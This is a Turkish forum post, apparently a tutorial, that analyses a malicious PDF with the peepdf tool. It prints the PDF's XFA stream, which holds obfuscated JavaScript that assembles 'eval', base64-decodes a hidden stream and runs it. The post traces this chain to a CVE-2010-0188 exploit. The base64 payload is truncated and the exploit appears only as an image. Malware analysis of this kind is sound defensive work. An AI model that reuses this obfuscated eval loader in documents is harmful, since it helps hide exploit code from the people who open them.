PeePDF | Pdf Malware Analizi

SynFl00der

Üye
21 Ağu 2016
174
0
Kocaeli
Merhaba arkadaşlar bugün sizlere peepdf adlı scripti anlatacağım. Bu script bizim için pdfde ki objeleri imzaları vs görüntülemeye yarıyor. Örnek olarak bir tanesine bakalım. Konsol modunda görüntüleyeceğiz. “peepdf -i xxx.pdf"
9DJPBr.png

Evet arkadaşlar görüldüğü üzere pdfnin bütün kimlik bilgileri karşımızda. 2 tane şüpheli obje içeriyor. Object 1 ve 3 ile başlayalım.
g93J3L.png

Object 1, bir XFA (Adobe XML Forms Architecture) kaynağı içeren bir akış veya diziyi işaret edebilen, XFA anahtarına sahip object 3’e işaret eden bir AcroForm’u (belge etkileşimli form sözlüğü) içerir. Şimdi Object 17’ye bakalım.
<< /Length 20 0 R
/Filter /FlateDecode
>>
stream
<?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd
p/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<linearized>3</linearized>
<interactive>1</interactive>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination></present></config>
<template>
<subform name="var_2_" layout="tb" locale="en_US">
<pageSet>
<pageArea id="var_3_" name="var_3_">
<contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/>
<medium long="797pt" short="617pt" stock="default"/>
</pageArea>
</pageSet>
<field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm">
<event activity="initialize" name="var_4_"><script contentType="application/x-ja
vascript"> var dcdc=’ YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB
YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY
cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y
Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY,
YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY
nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY
YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi
YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY
YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y
Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(
YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY<YY<YY1YY8YY YY|YY YYhYY2YY<YY<
;YY1YY2YY YY|YY YYhYY3YY<YY<YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y
Y1YY6YY YY&YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&YY YY0YYxY
YfYYfYY;YYoYY3YY YY=YY YYbYY YY&YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY
=YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY
YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6
YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY
oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY
YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY
YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY<YY YYdYY.YYlYYeYYnYYgYYtYYhYY
)YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd
YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY
vYYaYYrYY1YY1YY1YY)YY;YY’; “fgfg=’xexvxaxl’;oee=xfa.data.nodes.item(0);oee=oee
+’’;fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]==’e’){zea=3}else{zea=4};asd=’’
;taran=’charAt’;for (i=0;i<dcdc.length;i +=zea){ asd +=dcdc[taran](i);};mox
=’get’;sox=’tar’+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv
fv;};</script></event>”

<ui><imageEdit/></ui>
</field>
</subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c
ontentCopy="1" ********Assembly="1" formFieldFilling="1" ****data="1" modifyAnno
ts="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var
_2_><var_1_/></var_2_></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>
endstream

Gördüğünüz üzere Object 17 bir xml ağacı içeriyor. İçerisinde ilgi çekici girdiler var. Eval stringi oluşturmak gibi bildiğiniz üzere eval bir dinamik yordam çağırma syntaxıdır.
fgfg = ’xexvxaxl’;
oee = xfa.data.nodes.item(0); //XFA Objesi oluştur.
oee = oee + ’’; //oee xfa objesine sahip.
fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; // “eval” stringi oluştur.

Acrobat’ta bulunan birleştirilmiş javascript debuggeriyle pdf’yi debuglamaya başladık, bir dizi karakter olan oee değişkeninin [object XFAObject] stringini içerdiğini görebiliriz:
o6DMJX.png

XFA’ya dönüşen ve sonuçta eval () işlevini çağıran javascript kodu, base64 şifrelenmiş akışını (base64_decode (d)) ve başka bir eval () işlevini çözecek bir işlevin bulunduğu başka bir js kodu oluşturur. Çıktıyı kontrol etmek için js kodunu bir HTML sayfasına koyup Firebug ile hata ayıklayabiliriz:
JOogPj.png

Şimdi de “asd” değişkenine bir bakalım.
function base64_decode(d) {
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, b, i = 0,
enc = "";
do {
...
} while (i < d.length);
return enc;
}
var111 = base64_decode(event.target.info.doperza);
event.target.eval(var111);

Yani "doperza" nesnesi çözülmüş ve çalıştırılmıştır. Ama, doperza nerede? Tabiki pdf’nin içinde, ama nerde? İkinci kodlanmış akışı kontrol edelim: Object 42:
PPDF> object 42

<< /Length 11088
/Filter /FlateDecode
>>
stream
dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh
ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko
KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV
.....

MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw==
endstream

Şimdi de objenin iletişim kurduğu referanslara bir bakalım.

o6DJ2k.png

Bu nedenle object 41 içerisinde şifrelenmiş akışımızda object 42’ye atıfta bulunan "doperza" anahtarı var.
Bu katmanıda çalıştırdıktan sonra nihayetinde exploit kodumuza ulaşıyoruz. Kod: CVE-2010-0188
4GBNqG.png

Bu da demek oluyor ki pdfmiz sistemde güvenlik açığı oluşturabilir. Umarım yararlı olmuştur. İyi kullanımlar.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.